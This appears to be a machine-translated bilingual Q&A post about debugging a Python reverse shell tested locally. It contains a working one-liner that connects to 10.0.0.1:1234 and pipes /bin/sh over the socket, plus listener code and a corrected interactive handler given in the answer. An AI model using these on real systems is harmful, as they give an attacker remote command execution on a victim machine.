[英]bash shell and python server to send commands
I had a doubt regarding one of my reverse shell I tried locally:我对我在本地尝试的反向 shell 之一有疑问:
After trying manually the steps to get an interactive shell with the following reverse shell:在手动尝试使用以下反向 shell 获取交互式 shell 的步骤后:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
_ _
I tried to do a python server that would automate this:我试图做一个 python 服务器来自动化这个:
# coding: utf-8
import socket
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.bind(('', 1234))
socket.listen(1)
client, address = socket.accept()
print "{} connected".format( address )
while True:
print(client.recv(2048)) # this showed me I had a shell
client.send(input("").encode('utf-8'))
client.close()
stock.close()
Can someone figure out why my commands are not executed but the shell is launched (client side)?有人能弄清楚为什么我的命令没有执行但 shell 启动(客户端)吗?
Thanks.谢谢。
client.send(input("").encode('utf-8'))
input
will strip the newline from the input it read. input
将从它读取的输入中删除换行符。 The shell though is expecting a command to end with a newline. shell 虽然期望命令以换行符结尾。 The fix is thus to add the missing newline:因此,解决方法是添加缺少的换行符:
client.send(input("").encode('utf-8') + b"\n")
The code should be at least like this:代码至少应该是这样的:
import socket
import time
def interact(client):
command=''
while(command != 'exit'):
command=input('$ ')
client.send((command + '\n').encode('utf-8'))
time.sleep(0.5)
print client.recv(2048).decode('utf-8')
client.close()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 1234))
s.listen(1)
client, addr = s.accept()
print "{} connected".format( addr )
interact(client)
